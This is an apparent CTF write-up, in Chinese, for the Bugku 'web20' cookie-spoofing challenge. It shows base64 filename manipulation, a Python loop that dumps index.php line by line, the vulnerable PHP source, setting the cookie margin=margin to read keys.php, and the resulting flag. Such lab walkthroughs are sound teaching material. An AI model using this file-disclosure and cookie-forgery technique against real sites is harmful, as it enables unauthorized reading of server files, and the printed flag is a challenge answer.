Bugku CTF web20(Web)

0、打开网页,只看到很长的字符串,其实并没有任何提示

查看题目描述: cookies欺骗

rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry

1、观察url,并将filename部分进行base64解码

通常的源文件应该是index.php

2、对index.php进行base64编码并作为新的filename的参数

3、查看源文件,其中line变量起到控制行数的作用:http://114.67.246.176:13972/index.php?line=1&filename=aW5kZXgucGhw

4、编写python脚本,查看全部源代码

import requests

rs = requests.session()

for i in range(1, 21):
    url = 'http://114.67.246.176:13972/index.php?line={}&filename=aW5kZXgucGhw'.format(i)
    rsg = rs.get(url)
    print(rsg.text)

5、分析PHP源代码,结合题目描述,我们需要上传一个cookies,令margin=margin

error_reporting(0);


$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");


$line=isset($_GET['line'])?intval($_GET['line']):0;


if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");


$file_list = array(


'0' =>'keys.txt',


'1' =>'index.php',


);


 


if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){


$file_list[2]='keys.php';


}


 


if(in_array($file, $file_list)){


$fa = file($file);


echo $fa[$line];


}


?>

至此,我们的目标网址应该是:http://114.67.246.176:13972/index.php?line=&filename=a2V5cy5waHA=(filename替换为keys.php的base64加密后的内容)

6、三种上传方法:

(1)使用BrupSuite抓包后上传

(2)编写python脚本上传

(3)使用Hackbar上传

7、得到flag:flag{4db7115d577eed11439dd72738823e9f}

 

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ChaoYue_miku

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值